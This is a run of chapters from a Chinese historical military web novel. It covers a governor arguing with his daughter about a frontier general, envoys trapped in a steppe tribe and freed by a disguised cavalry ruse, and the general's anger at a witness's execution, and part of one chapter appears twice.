然而,官府的动作远不止于此。
郡守衙门前的告示墙上,除了安民告示,更张贴了号召全城青壮接受训练、协助防守的檄文。
言明不仅管饱饭,还每日发放实打实的粮饷。
紧接着,郡衙直接签发了文书,公布了更为正式的募兵告示,条件待遇写得清清楚楚。
城西广场,巡检司队将唐****亲自带队入城,在闹市街道,设下了一处最为热闹的招募点。
几名精气神十足的军汉维持着秩序。
唐****则站在一处临时垒起的高台上,声若洪钟:“巡检司招募乡勇!有力气的出力气,有手艺的献手艺!工匠、民夫皆可!
待遇优厚,名额有限,速来报名!”
洪亮的声音吸引了大批围观的青壮,报名处很快排起了长队。
青阳城内,车马辚辚,人流如织。冬日的严寒似乎也被这人气驱散了几分,呈现出一片火热景象。
第154章 雪庭前,父执女犟
青阳城中心,郡守衙门。
后院廊下,郡守林安国处理完公务后,独自躺在一张黄花梨木的躺椅上,身上盖着毛毯,就着廊外积雪反射的亮光,捧着一卷书细读。
庭前的积雪被打扫得干干净净,露出青石板的地面,唯有几株腊梅傲然绽放,幽香暗浮。
回廊尽头,拱门之处,两个身影正鬼鬼祟祟地探头张望。
正是林安国的宝贝女儿林婉儿和她的贴身侍女小蛮。两人背着不小的包裹,从军异常返回。
脑袋一热,溜出去玩耍,可回来就要面对林安国喽!
她们扒着拱门边缘观望了半晌,比画着手势。
随即猫着腰,蹑手蹑脚,试图悄无声息地溜回房间。
“站住!”林安国看着书,仿佛后背长了眼睛一般,一声轻斥。
他缓缓放下书籍,转过头,目光如电,精准地落在女儿那张写满心虚的俏脸上。
“爹爹。”林婉儿见行迹败露,尴尬地笑了笑,磨磨蹭蹭地走过来。
“小蛮,你先下去。”林安国朝丫鬟摆了摆手,目光始终盯着林婉儿,待小蛮如蒙大赦般地退下。
他才看着走到近前的林婉儿,突然脸色一板,带着几分真怒道:“哼!你这丫头,胆子是越来越肥了!
竟敢瞒着为父,偷偷溜出城去?还是去了边寨那等险地,一去就是小半月,也不捎个口信!”
“爹爹,”林婉儿声音发嗲,挽住父亲的手臂,反而一本正经的旧事重提,“我只是没去过边塞,想去亲眼看看嘛!
您以前总说边塞苦寒,百姓吃不饱饭,女儿去了之后才确信,您说的……似乎并不完全对。”
“不完全对?”林安国眉头皱起,果然被转移了话题:“这边塞莫非还能有锦衣玉食不成?”
“没错!”林婉儿连连点头:“铁血军寨的规矩虽严,但只要肯干活,人人都能吃饱,穿暖。
那里的兵卒甚至能顿顿见荤腥!”
“爹爹!”少女捏了捏脸颊以示证明:“您看,女儿才去了十来天,脸颊都圆润了不少呢!”
林安国闻言,这才仔细打量女儿。
她原本略显清瘦的脸庞确实丰腴了些,肤色是健康的红润,眉眼间虽带倦色却掩不住一股蓬勃的生气。相比往日困于闺阁的苍白,如今更显娇艳。
他心中微微一动,但脸色依旧沉着。
“爹爹,书本上的东西不能尽信。”林婉儿兴致勃勃,继续说着见闻,“拒马河根本不是书上说的三五丈宽,好些地段如湖面般宽广,一眼望不到头。
站在军寨的燧堡上,能远远望见草原上的炊烟。草原也并非一马平川,他们那里也有山……”
林安国听着女儿叽叽喳喳,眉飞色舞地描述着边塞风光,言语中充满了前所未有的鲜活与愉悦。
他本是慈父心肠,见女儿开心本该欣慰,但越听,眉头蹙得越紧。
林安国终于咳嗽一声,打断了女儿的话:“行了!你爹爹我还没老糊涂到这个地步。
你此番偷偷溜出去,恐怕不单单是为了看什么边塞风景吧?说!是不是去看那个姓秦的小子了?”
“爹爹——”林婉儿霎时红了脸,跺着脚娇嗔。
“哼!我告诉你,这事儿绝对不可能!”
林安国板起脸,近乎喝斥:“前几日,南河城寨来人商议共同防务之事,我特意仔细打听过这位秦将军的过往。
是,他确是将门之后,有些能耐,但他家中早有童养媳,是未过门的妻子,此事军中皆知!”
“我知道……”林婉儿抬起头,声音虽轻,却带着一丝倔强。
“你知道?”林安国豁然起身,脸上满是难以置信与痛心,“你知道还往上凑?你……你搅和进去,这成何体统?
是我林安国的女儿能让他抛弃未过门的妻子,还是我林安国的女儿要上赶着去给别人做妾?”
最后一句,已是声色俱厉。
林婉儿浑身一颤,脸色微微发白。
她将那份朦胧的好感深埋心底,本不敢细思,此刻被父亲毫不留情地当面戳破,顿时心乱如麻。
她在军寨十余日,与秦猛虽有接触,却更多是远观。却多少能感受到秦猛那冷硬外表下,对那位陈月娘的深厚情意,也知此事艰难。
“婉儿,”林安国见女儿脸色变化,心下顿时了然,语气不由得放缓,带上几分苦口婆心。
“你不要执迷不悟。爹爹是怕你受委屈,是为了你好啊!”
“我不!”林婉儿却猛地抬头,眼眶泛红,那份倔强反而被激发出来,“爹爹,当年的您不也是个落魄书生吗?
娘亲当初不也是钟情于您,根本不顾外祖家里反对,甚至不惜断绝关系威胁,也要与您在一起!”
“哎?你这丫头,如何又扯到我为父头上来了?”林安国闻言脸皮抽搐,竟然有些招架不住。
当年,他的确是个穷酸书生出身,靠着妻子娘家扶持。后来榜上有名,逐渐走到了这一步。
“娘亲曾说,她看中您才华横溢,胸中有抱负,心系黎明苍生,是个顶天立地的大丈夫!”林婉儿没有丝毫停顿,侧身望向北方,眼神坚定。
“女儿所看中的人,同样是这种大丈夫!他顶天立地,训练兵马,戍卫边疆,杀**从不心慈手软。”
她深吸一口气,继续道:“就女儿在军寨这十余日,便亲眼见到两次**来袭,全被他率军杀得大败。
光
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是斩获的首级,就不下两千,缴获的战马成群。
张崇大哥带队回来时,不仅带回两百来匹草原好马,一百多匹驮马。秦将军还额外送了他五十头猪羊呢!”
“啊?有这种事儿?”林安国双眼圆睁,失声惊呼。
两千**首级!
这简直是惊世骇俗的大捷!为何不见军报传阅?
林婉儿见父亲难以置信,便信誓旦旦地道:“这是女儿亲眼所见,其中一次,是秦将军亲自带队。连夜冒雪过界河突袭了**的马场!
那次缴获的战马就有…牛羊更是成群结队,数量极多,军寨都快装不下了,清点统计许久。”
她本想说数千头,话到嘴边想起军寨的禁令,终究改了口。
“爹爹若是不信,大可亲自去问张崇大哥!”
林安国从极大的震惊中缓缓回过神来,神色复杂无比:“那小子不简单呐!竟勇猛善战至此?
他依旧固执地摇头,但语气已不似先前那般绝对:即便如此,我还是不想你受委屈。你娘走得早,我答应过她,要好好照顾你,给你寻一门最好的亲事……”
“女儿不觉委屈!”林婉儿使劲摇头,试图说服父亲,“这些天,女儿也跟月娘姐姐见过面,相处得……很是融洽。”
“那又有何用?”林安国板着脸,仍是没有退让,“婚姻大事,岂能儿戏?岂是你们小女儿家相处融洽便可决定的?
你在边寨呆了这许多时日,名声还要不要了?先回房歇着,没有我的准许,以后哪也不许去!”
“是!女儿遵命。”林婉儿这次却乖乖应声,学着士兵模样昂首,行了个礼,转身逃也似的跑了。
她听得出,父亲的态度虽然仍然强硬,但语气已然松动,尤其是听到秦猛的战绩后的震惊做不得假。
她相信,只要以后多往军寨跑动,每次带回些好消息,一点点劝说这个老顽固,终有希望……
“哎……丫头长大了,心也野了。”林安国望着女儿那忽然变得轻快起来的背影,脸上露出老父亲特有的无奈、担忧相交织的复杂表情。
随即,他又猛地想起女儿方才的话。
——十余日内,连续击溃至少两拨**大规模袭击,甚至主动越过冰封的拒马河,深入草原袭击**马场。
斩首两千,缴获甚多?
若此言非虚的话,这秦猛哪里只是个勇夫,分明是一员我大周百年来难遇的悍将、福将!
这功绩若上报朝廷,足以引发惊天震动!
林安国再也坐不住了,霍然起身。
他沉吟片刻,转身回房间,迅速换上一身正式的绯色官袍,命人即刻备轿,声音斩钉截铁:
“去城北军营!”
第155章 草原狼戎部
城北军营,张崇这一营兵马原本是驻扎在城外。林安国深思熟虑后,以加强城内防御、便于统一指挥为由,直接下令将其调入城内驻扎。
此刻,军营内的气氛充满肃杀。
张崇自铁血军寨归来后,便将队伍重新编队,随行的百余名兵卒打散,安插至各队之中。
这些经历过新式操练的厢军,个个精气神大变,行动有素,暂任伍长、什长等基层职位。
正严格按照铁血军寨的那一套方法,操练麾下兵卒。
张崇亲眼见证了秦猛那套练兵之法带来的变化。更是知道秦猛率军与**交战从无败绩。
这简化版的练兵之法是这些天虚心求教得来。
他盘算着,等现有兵卒训练有成,再招募新兵补足五百员额,便要在军中全面推行那“三三制”。
他誓要练出一支能打硬仗的强兵来,将来征战塞外。
就在张崇思索之际,一名军卒飞奔来报:“报——,指挥大人!林郡守的轿子正往营门来!”
“快请,不,我亲自去迎。”张崇闻报,不敢怠慢,立刻整理衣甲,亲自带队前往迎接这位老上司。
他将林安国迎入营内,陪着巡视军营,详细介绍着新兵的操练之法,并观看兵卒列队演练。
林安国默不作声,仔细观看。
只见校场上,寒风中的兵士们操练得汗气蒸腾,号令声中,队列变换竟有了几分森严气象,与他月余前所见那支散漫的军队天差地别。
他心中那份关于秦猛战绩的疑虑,又消减了几分,取而代之的是一种难以言喻的震撼与思索。
与此同时,郡城东南,董家府邸。
郡丞董袭近来深居简出,异常低调。
在普通百姓看来,这位董大人是被军寨那位秦将军的虎威彻底震慑住了,不得不夹起尾巴做人。
而在城内那些与董家沆瀣一气、利益交织的地主豪强们看来,董大人此番不过是暂避锋芒,韬光养晦,正在暗中寻找机会,准备报复。
装饰奢华的书房内,银丝炭烧得暖融融的。董袭慵懒地靠坐在铺着白虎皮的躺椅上,随意翻着一本书籍。
一名心腹家人正垂手躬身,低声报告着城内发生的一切:
雪停后人流涌动、官府张贴告示,物价平稳、官府募兵、巡检司招募民壮,工匠异常火爆……
董袭听着,脸上没有任何表情,只是在听到唐****大声吆喝招募乡勇时,嘴角撇了撇,发出几声嗤笑,浑然未将此事放在心上的样子。
他挥了挥手,打发走了手下人。
书房内重归寂静,只有银炭偶尔爆裂的轻微噼啪声。
董袭将书丢到一旁,目光转向窗外,望着屋瓦上的积雪,手指无意识地敲打着躺椅扶手,嘴唇微动,声音低得只有他自己才能听见:
“算算时间……那边,该有消息了吧?”
……
狼戎黑狼部坐落在两山之间的避风处,大片毡房如白色蘑菇般散落在雪原上。四周用粗木栅栏围起,栅栏上挂着各种兽骨和图腾符牌。
部落中央矗立着一座格外庞大的毡房,顶上飘扬着一面黑狼旗帜,黑狼栩栩如生,狼头张开血盆大口,露出尖锐獠牙,在风中猎猎作响。
作为狼戎族中强大的部落之一,黑狼部拥有两千帐牧民,可之士超过五千人。他们信仰黑狼神,首领必须得到黑狼王的认可才能服众。
朔风卷着碎雪,在黑狼部落的毡房间穿梭,发出呜咽般的低鸣。
吴二、赵虎、陈石三人围坐在一处偏僻营房的炭火旁,脸色凝重如铁。
炭火噼啪作响,赵虎猛地一拳砸在铺着毛毯的地面上,小声用汉语说着:“该死,那些狼戎人表面以礼相待,实则将我们软禁于此。
方才我假意出恭,帐外立即有两人‘相伴’,根本找不到独处的机会,就更别提出营送信。”
陈石用**慢慢挑着靴底的泥块,压低声音:“方才我去取水,刻意绕到部落东侧。周围守卫增加了整整一倍,连咱们的马都有带刀卫士看守。”
他手腕一翻,泥块中竟露出一枚小小的铜符,“这是昨日从一个醉酒守卫身上摸来的,可惜……依旧无用。”
吴二凝视着跳动的火焰,声音沙哑:“德克萨酋长虽收下密信,允诺两日后出兵八百精锐自北狼口入境,直扑铁血军寨,
但你我已经知晓——这是董袭的借刀**之计。秦将军所料不差,我们必须将消息送出去。”
从吴二,赵虎他们踏入草原后,就在寻找黑狼部落。这些逐水草而居的游牧民族时常迁徙。
队伍寻着蛛丝马迹和牲畜的粪便找了好几天。两天前,他们初抵黑狼部落时,尚受到礼遇。
吴二作为官商兜底的商贩,常年往来大周与草原、输送粮盐铁器,确是部落的“老熟人”。
德克萨酋长在他献上董袭密信后,当场表示会调派八百精锐相助,劳烦吴二等人随行领路。
当晚设宴款待,烤全羊焦香流油,马奶酒淳厚辛辣,席间还有狼戎女子献舞,武士表演摔跤。
然而,酒宴散去,无形的牢笼便悄然合拢。他们被请到这处远离核心区域的毡房,美其名曰“尊贵客人的静养之所”,实则避免与人接触。
送来的侍女低眉顺眼,却耳聪目明。
守卫的武士看似粗豪,换岗交接却一丝不苟。
此刻,赵虎额角青筋跳动:“八百精锐!北狼口地势险要,适合伏击,若无人报信,必定错失良机。届时我等便是引狼**的罪人!”
陈石将铜符收回怀中,眼神锐利如鹰:“硬闯是送死。能否买通一两个贪财的狼戎人?”
吴二缓缓摇头:“德克萨我多少了解,此人野心勃勃,想统一整个狼戎部族,脱离东胡联盟。
故治军极严,且此事关乎部落存亡,无人敢冒险。再者,我等战马,财物早已被‘代为保管’。”
他何尝没试过?昨日他褪下腕上一枚玉佩,欲赠予一名有过交集的狼戎少年,那少年却如遭火灼,连连后退,惊恐地望向帐外阴影。
草原人虽然鲁莽,残忍,但毕竟不是傻
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子。部落集结出兵这种大事,自然是不会让风神走漏。
三人被盯梢,无法离开这黑狼部落,无法传递消息。
希望如同毡房外的风雪,一点点被冻结、掩埋。
正当三人愁眉不展之际,部落外围突然传来一阵尖锐的鹰哨声。紧接着是杂沓的马蹄践踏冻土之声、愤怒的呵斥与刀剑出鞘的锐响。
“怎么回事?”赵虎猛地起身,掀开毡门一角。
只见部落入口处乱成一团。
约三十骑狂风般撞入栅栏,马蹄踢起漫天雪沫。
来者皆身着契丹风格的铁甲,外套杂色皮袍,头盔下露出狰狞的鬼面,鞍旁悬挂着弯弓和沉重的链锤。
“德克萨酋长何在?”领头骑兵用生涩狼戎语大吼。领着队伍毫不减速,直冲部落中心,口中发出叽里呱啦的怪异吼叫,嚣张跋扈至极。
这就是契丹族在草原上的作风,蛮横,霸道。是百万控弦之士的底气,不把小部落放在眼里。
黑狼部落的武士反应极快,迅速从四面涌出,弯刀映着雪光,形成半圆形的包围圈,将那队“契丹骑兵”阻在中央,却忌惮不敢上前。
双方剑拔**张,怒吼与咒骂震天动地。
吴二疑惑道:“是契丹人?他们怎会在此时来黑狼部?”
陈石目光死死盯住那为首骑士,二十来岁,相貌俊朗,昂头鼻孔朝天之势,很是牛叉的样子。
此人眼熟,好像在赵将军身后见过。尤其是这队骑兵,人人马鞍上系着红绳,十分醒目。
“是接应队伍!”他心脏猛地一跳,几乎要冲出胸腔!
“不…不是契丹人!”吴二声音因激动而嘶哑,“是飞虎卫!是秦将军派来的人!你瞧那马镫,是我中原制式!还有那为首者的身形,是袁……”
“管他是谁呢!这是唯一的机会。”赵虎大脸上浮现笑容,四处张望,最后目光跟在一坨牛粪上。
原来,这正是那天秦猛与赵将军定下的暗策。
他们深知草原部落反复无常,所以派了接应小队,董袭借刀之计若成,吴二等人很可能被困。
接应小队除了接收情报,还定期汇报,如遇到困难。
这不,迟迟无消息,秦猛就派来人了。
精选三十名勇士,命他们换上精心准备的契丹服饰,与接应小队会合,时刻留意黑狼部落动向。
傲气青年袁飞非要亲自带队来草原耍,强闯黑狼部落制造混乱,以创造传递情报的契机。
此刻,这险招奏效了!
整个黑狼部落的注意力都被契丹骑兵吸引。
德克萨酋长闻讯,带着大批亲卫急切地赶来。恰好看到一块半湿的牛粪球划出一道抛物线,精准命中那耀武扬威的领头骑士,掉入其怀里。
吴二被丢牛粪的赵虎给推了出来,他硬着头皮吼着:“草原部族有共同的敌人,我狼戎黑狼部不怕契丹,也不欢迎你们,给老子滚。”
“说得好啊!”酋长德克萨浑身一震,昂首挺胸。
袁飞怀揣着一坨牛粪,整个人凌乱在寒风之中。
第156章 凯旋与暗流
黄昏时分,铁血军寨渐渐喧闹起来。
寨外劳累一天的劳力们正陆续收工,就见秦猛带着亲兵,驱赶着浩浩荡荡的马群回来了。
“秦将军又干翻了一群**,还赶回来这么多马!”
这消息像风一样传开,令整个军寨再次轰动。
人们停下活计,涌到门口观望,嘴里喊着“将军威武”,脸上却流露出一副司空见惯的神情。
——这类场面,他们早已**以为常。
诸葛风、李恒早就得知消息,带人站在寨门口,看着如乌云般的马群,又是欢喜又是发愁。
文吏们则已麻木,当队伍抵近,立刻招呼人手忙活开来:战马分营入厩,伤马单独照料,死马送去屠宰,连马骨都得收集起来熬汤。
另一边,二十多辆大车堆满了缴获的衣甲刀枪,几个老吏带着人清点记录,忙得唾沫横飞。
“直娘贼,嘴还挺硬?”人群中,**骂了声。
他抹了一把脸上的血迹,那是沿途审讯俘虏时溅上的,他的嗓门大得能震落下房檐的积雪。
几个被扒光的契丹俘虏浑身是伤,冻得瑟瑟发抖,被如狼似虎的军卒像拖死狗一样拽向地牢。
挤在门口的妇人们吓得捂嘴躲避,嘴里连连啐骂。
“哈哈哈,婶子们,不是捂眼睛吗?”**见了打趣。顿时惹得妇人怒骂,抓着积雪丢向**。
身后,众军卒哄堂大笑,推搡着俘虏,摸头拍脑,还有人用脚踹着,说着草原人是个棒槌。
不懂事的孩童却嬉笑着追逐,说着**不穿衣服。几个俘虏要是听得懂,估计会被气死。
他们想大冬天光着腚?可身不由己呀!
他们被强推进地牢,很快,凄厉的惨叫声从中传出。
医疗所里,伤兵们在院子里活动。
七八个寨民前来求医,有的抹着眼泪,有的流着鼻涕,也有的不停咳嗽哈痰,显然是染了风寒。
“这样可不行!”秦猛亲自护送此战伤兵到来,一进院子就看到混杂的一幕,顿时皱紧了眉头。
“唐医官!”秦猛朝药房喊了声。
军医官唐博赶紧从里面跑出来:“将军,您来了?”
“伤兵本就身子弱,和风寒病人挤在一起,是想让他们都病倒吗?”秦猛指着混杂的人群问道。
唐博苦着脸解释:“实在没地方,这天寒地冻,百姓易染风寒,也要看病,总不能赶出去。”
“得想个办法。”秦猛沉声道,“这样,你带主要人手,另成立一个军医局,专管军中伤病。
医疗所留给百姓看病所用,找个经验足的老郎中坐镇。两边物资人手分开,不能再混着用。”
唐博眼睛一亮:“将军这主意好!”
“你要什么就去找诸葛先生。”秦猛叮嘱了一句。
“是,我这就去办!”唐博昂首应下。
“另外你得多培养一批医务兵,填补队伍扩建缺额。”秦猛又想起一件事,嘱咐这位唐医官。
“寨内适合的人任由你挑选,少青队,少年队这些孩子学习力强,可以多考虑,普及医药知识。”
是!保证办妥。
“你去忙吧,我转转就走。”秦猛笑着点头,把七八个箭伤员交给他,见到陈老三与人在棚子内说笑,便走了过去,拍了拍他的肩膀。
“陈阳,恢复的不错嘛!”
“托大人的洪福。”陈老三见秦猛,立刻拱手行礼。
一个伤兵们挣扎要起身道谢,被秦猛按了回去。
“好好养着,回头给你们加餐!”
秦猛跟他们说了几句话后,又转了转,见陈月娘正专心辨认药材,他便没打扰,转身回了官署。
“今天都累了,解散休息。明日开始,各队照常训练,谁敢懒散,军法处置!”秦猛对亲兵下令。
“得令!”亲兵们轰然应诺,随即分头忙碌起来。
秦猛洗净血污,换上新衣,再次披上重甲开始每日必练的功课。
四十斤的铁甲在身,他面不改色,先俯卧撑等几项体能训练,再扛石锁跑圈,又练**刺击,招招虎虎生风。亲兵们见状,也纷纷加入。
暮色将近,陈月娘、秦小芸、王艳从医疗所回来。
“猛子哥,你去医疗所了,怎么不叫我一声?”陈月娘走过来,话语似嗔怪,眼里满是担忧。
“见你在学配药,就没打扰。”秦猛边练边答。
“是吗?”陈月娘目光灼灼地盯着他,“我可是听人说,秦将军今天又打胜仗,杀得像个血人。”
“身上是脏,没受伤。”秦猛被看得有些不自在,“巡视完回来,半路遇上伏击,顺手解决了。”
他岔开话题,“月娘,快去做饭,我饿了。”
“好。”陈月娘见亲兵们挤眉弄眼,没再多说,与秦小芸她们去了伙房。
“交头接耳什么?”秦猛转头见亲兵窃窃私语,顿时板起脸,二话不说,加大了训练强度。
让这些厮杀一场的汉子们叫苦连天,却不打折扣的操练。
秦猛自己练习时,顺便教亲兵使马槊,有人的动作不对或分神的,他便用
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马槊轻轻点拨。
“举槊要稳,出槊要快,力从腰发,别光用胳膊蛮干!”
就在众人在官署后院练得火热的时候。
“大人!问清楚了!”**攥着审讯记录匆匆跑来。
“这批契丹人就是伏弗郁部的!上次在双涡堡被咱们击溃。杀了萧铁虎,他哥萧铁鹰气疯了,派人来报仇的。
这萧铁鹰外号‘拔城之鹰’,可不是善茬,根据几个俘虏交代,已经毁了咱们七座戍堡。”
秦猛嗤笑:“拔了几个小戍堡就敢称拔城鹰?上千人打几十人,也就草原上的废物把他当回事。”
**犹豫一下,低声道:“大人,两年多前,小南河那桩事……就是这萧铁鹰带队所为。”
“哦?是么?”秦猛笑容瞬间消失,眼神冷冽:“冤家路窄。既然是他,那这笔账,早晚要算!”
他看完记录,眉头紧锁——俘虏只招供契丹冬天要大举入侵,对是否有人内应却一无所知。
“怕是这几个百夫长级别太低,不知内情。”秦猛心下嘀咕。那个高瘦刺客死得蹊跷——被针对射成刺猬,分明就是**灭口,此事绝不简单。
“大人,**要大举来犯。”**忧心忡忡地问。
“咱们怎么办?”
“怕什么?咱们背后有边军,兵来将挡,水来土掩!”
秦猛斩钉截铁,“传令加强戒备,训练照旧,多派斥候盯紧双涡堡,一有动静,立刻来报!”
“是!”
晚饭后,夜幕降临。
秦猛召集亲兵队,**,牛五两队,连训练骑兵的王善,乌维也带队归来,百人队伍齐聚。
他让今日参战的亲兵总结:“都说说,马槊用着顺不顺手?冲锋时怎么配合?说错无妨!”
亲兵们习惯性的畅所欲言,有的说槊柄太长难转身,有的说要注意间距,有的说刺穿后难拔出,有的说影响射箭,有的说手臂震得发麻……
秦猛仔细听着,不时插话询问细节,指导他们练习腕力,掌握平衡,平时多练习临时挂槊。
他特意挑选身强力壮的汉子组成亲兵队,就是为了训练他们使用重装马槊。现在正是从实战中总结经验,不断完善战术的好时机。
正热闹时,一个军卒来报:“将军!飞虎卫千余人朝军寨来了。另外张龙队长也随队返回……”
秦猛让亲兵继续练习,自带王善等人出迎。得知张龙兄弟任务完成,把刘三家眷安然接回来。
他立刻命亲兵:“快去告诉刘三,他家人来了。”
第158章 恼怒的秦猛
秦猛盯着木盒,脸黑得像锅底。
盘里是刘德福的脑袋,冻成冰坨子。
那张圆脸他太熟了,满脸不甘,死不瞑目地瞪着双眼,透出被当成弃子后的惊愕与怨毒。
刘德福是死是活,秦猛其实不在乎。
但这人死得太不是时候,彻底打乱了他的全盘算计。
他本想留着这活口,挖出幕后同党,捏住对手的把柄。让那些道貌岸然的家伙投鼠忌器。
现在倒好,人一死,线全断,所有谋划都落了空。
筹谋多时,功亏一篑的憋闷感让他胸口发闷。
这分明是边防帅司和幽州官府私下达成了肮脏交易!
他们急吼吼地杀了刘德福,用这颗人头堵边军的嘴,想把大事化小,再给幽州百姓一个交代。
结果呢?当事人一个**,另一个始作俑者。
——他秦猛,因此事,彻底暴露在众人眼前,成了幽州官场上那帮老油条的眼中钉肉中刺。
“**,老子这是被人当枪使了,还推到了前排。”
秦猛几乎能想象到,此刻幽州城的某间暖阁里,正有人举杯庆贺这“一石二鸟”的妙计。
一股邪火在秦猛胸口左冲右突,烧得他五脏六腑都疼。
他猛地转向身旁的赵平,嗓子因压抑怒火而沙哑:“赵统领,我要的是活刘德福!赵将军当初亲口答应考虑,结果,就考虑出这玩意儿?”
赵平没理会他话里的钉子,语气平淡地纠正:“将军只说‘可以考虑’,从未一口答应此事。”
秦猛顿时被噎住,一想还真是这样。
一种被文字游戏愚弄的**感让他额角青筋跳动。
赵平继续沉声道:“这是帅司吴大帅的死命令,将军也力争过,但被驳回了,只能奉命行事。”
“帅司?”秦猛眼睛危险地眯起,话里夹枪带棒:“果然是个草包!连我军寨的铁匠都瞧不上!”
赵平眼皮一跳,赶紧把话挑明:“就地斩杀刘德福,是为了换取幽州边军增补的粮饷物资。”
“将军让我转告你,就算不在幽州斩首,刘德福也会被押送帅司大营处置,绝无可能送到铁血军寨。”
他顿了顿,声音更沉了几分:“幽州的水太深,涉及朝廷的党争漩涡。牵一发而动全身,将军也有难处。
“边军对此心知肚明,所以有些事只能点到为止。”
“罪魁祸首伏法,就算给了交代。掳掠边民之事,不可再深究。刘德福已死,此事到此为止。”
“到此为止?”秦猛连声冷笑,牙关咬得咯咯响:“那就在今天,我巡视途中连遭两拨刺杀!”
他向前逼近一步,目光如刀般钉在赵平脸上:“一拨是江湖好手,另一拨,是数百名潜入的契丹**!”
什么?”赵平脸色骤变,身体下意识地绷直。
“活口我抓了几个,不信,就在地牢,你自己去审便是!”秦猛目光坦荡,脸色阴沉得能滴出水。
“这么多**摸进来,就为等我落单时下死手。若说这其中没鬼,没人通风报信,鬼都不信!”
他声音低沉却带金石之音,每一个字都砸在赵平心上。
“用屁股想都知道,是幽州那群尸位素餐的蠢货干的!”
“刘德福不死,我们手里还有牌可打。现在为了点粮饷自断臂膀,失去了主动,愚蠢至极!”
他猛地一挥手臂,带起的风吹得炭火明暗不定:“这叫自毁长城,捡芝麻丢西瓜,懂吗?”
赵平越听脸色越难看,他擅长的是沙场练兵,对权谋并不在行。
秦猛这一番话,却将他眼中“理所当然”的交易撕开了口子,让他看到这场交易背后的凶险,越想越觉得帅司这步棋走得仓促被动。
秦猛盯着他,冷冷追问:“你说,帅司是不是草包?”
赵平深吸一口气,沉声道:“秦知寨,有些话慎言。我立即加急上报赵将军,请他定夺。”
他此刻才明白,赵将军看重的这年轻知寨,是因其对危机的嗅觉和对局面的洞察远超常人。
“好!”秦猛立刻接口,“那你务必转告将军!”
“这些上不得台面的阴私手段,不只他们会玩。把我秦猛逼急了,我比他们更懂怎么不讲规矩!”
他的眼神在炭火映照下,显出野性而危险的锋芒。
赵平没有接话,默默点头,将秦猛的决绝记在心里。他知道,眼睛睁年轻将领绝非虚言恫吓。
秦猛情绪稍缓,目光落回那颗头颅上。最终摇头,叹了口气,语气带同病相怜的嘲讽。
“都以为自己是下棋的人,结果呢?不过都是棋子。
区别是,你这颗**,我这颗还活着,还能继续走。”
他声音渐低,仿佛自语:“而且,谁规定棋子不能变成棋手?谁能确保棋盘会被人掀掉!”
他挥挥手,让亲兵盖上盖子,把木盒带下去处理。
赵平见状,立刻命人抬上几口箱子。
箱盖一开,白花花的银锭、金灿灿的金元宝,还有东珠、翡翠等珍珠宝贝,折射出诱人光彩。
“白银一万两,黄金一千两,加上这些珠宝。这是将军拨给你军寨的,不是赏赐,是应得的。”
秦猛瞥了一眼钱财,兴致缺缺,脸色依旧沉着。
这些黄白之物,远不如多一百套铁甲、五十张**实在。
赵平又道:“将军猜到你会憋屈,让我告诉你……”
“有些事不由性子来。帅司和幽州做交易,多要粮饷物资,也是为了边军整体,虎贲军也受益。”
“这个道理我懂!”秦猛叹了口气,“就是心里憋得慌,平白给人当枪使。”
他走到窗边,推开一条
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缝隙,寒风涌入,吹散污浊之气,也让他冷静几分。
“关键是上头的人不行!按我的计划来,只要胆子大,粮饷,物资一分不少,还能掌握主动。”
“可惜,我辛苦布的局全乱了!”
他望着窗外阴沉天色,仿佛看到即将到来的风暴。
“秦知寨有勇有谋,将军和我们都看在眼里。”赵平拍拍他的肩膀,指着官署院子内的箱子。
“将军还带来五百套铁甲、五百套鞍具、三百张弓**和一批刀枪。”
“后续还调拨几辆床**和投石车,增强军寨防御。”
秦猛来了精神,脸色稍霁:“哦?这还像点样子。”
军寨近来新兵多,即便靠缴获,铁甲也经捉襟见肘。
这批装备解了燃眉之急。
“还有更重要的!”赵平笑道,“陷阵营兵额加五百!”
“准许你再组建卫戍营,编制一千人!”
“真的?”秦猛脸上露出惊喜,这扩编权力比万两黄金更让他心动。
他之前处心积虑扩编,苦于没有名分。现在多了一千五百个正式编制,简直是天大的好消息!
他脑中闪过几个人才名字,盘算着搭新营架子。
“千真万确!甲胄装备会陆续送达。”赵平正色道,“将军看重你,望你好好练兵,戍卫边疆。”
“是!”秦猛抱拳,声音铿锵。
“请转告赵将军,末将必不负重托!”
他明白,幽州波诡云谲,唯有实力才是安身立命的根本。
事已至此,纠结无益。是棋子是棋手,终究靠实力说话!
“对了,”赵平想起正事,脸色凝重,“将军得密报,今年冬季界河冰封,契丹人可能大举入寇。”
“特命我率千余飞虎卫先行协防,后续将军亲率大军前来。”
秦猛点点头:“此消息,我从俘虏嘴里撬出来了,是伏弗郁部酋帅萧铁鹰,来报双涡堡之仇。”
他嘴角勾冷酷笑意:“正好,新仇旧怨一并了结。铁血军寨的大片荒地,需**的血浇灌。”
赵平一怔,他的情报是虎贲军蛰伏在草原多年的密探冒险传回,没想到秦猛的情报更精准详细。
他对这年轻知寨的侦查审讯能力又高看了几分。
两人凑到一起,汇总各自情报。
秦猛根据地形和敌军兵力,推测了几条进攻路线。
第一个想到双涡堡,那里必是契丹复仇的重点。
其次是铁血军寨,及周边可能被分兵骚扰的边堡。
最棘手的是保护防区内的村庄集镇,让百姓少受荼毒。
两人对着羊皮地图,手指划动,商讨兵力调配和预警方案,官署内的气氛再次紧张专注。
就在两人议论的时候,一个寨兵气喘吁吁地飞奔进来禀报:“将军,草…草原那边来人了!”
第158章 恼怒的秦猛
秦猛盯着木盒,脸黑得像锅底。
盘里是刘德福的脑袋,冻成冰坨子。
那张圆脸他太熟了,满脸不甘,死不瞑目地瞪着双眼,透出被当成弃子后的惊愕与怨毒。
刘德福是死是活,秦猛其实不在乎。
但这人死得太不是时候,彻底打乱了他的全盘算计。
他本想留着这活口,挖出幕后同党,捏住对手的把柄。让那些道貌岸然的家伙投鼠忌器。
现在倒好,人一死,线全断,所有谋划都落了空。
筹谋多时,功亏一篑的憋闷感让他胸口发闷。
这分明是边防帅司和幽州官府私下达成了肮脏交易!
他们急吼吼地杀了刘德福,用这颗人头堵边军的嘴,想把大事化小,再给幽州百姓一个交代。
结果呢?当事人一个**,另一个始作俑者。
——他秦猛,因此事,彻底暴露在众人眼前,成了幽州官场上那帮老油条的眼中钉肉中刺。
“**,老子这是被人当枪使了,还推到了前排。”
秦猛几乎能想象到,此刻幽州城的某间暖阁里,正有人举杯庆贺这“一石二鸟”的妙计。
一股邪火在秦猛胸口左冲右突,烧得他五脏六腑都疼。
他猛地转向身旁的赵平,嗓子因压抑怒火而沙哑:“赵统领,我要的是活刘德福!赵将军当初亲口答应考虑,结果,就考虑出这玩意儿?”
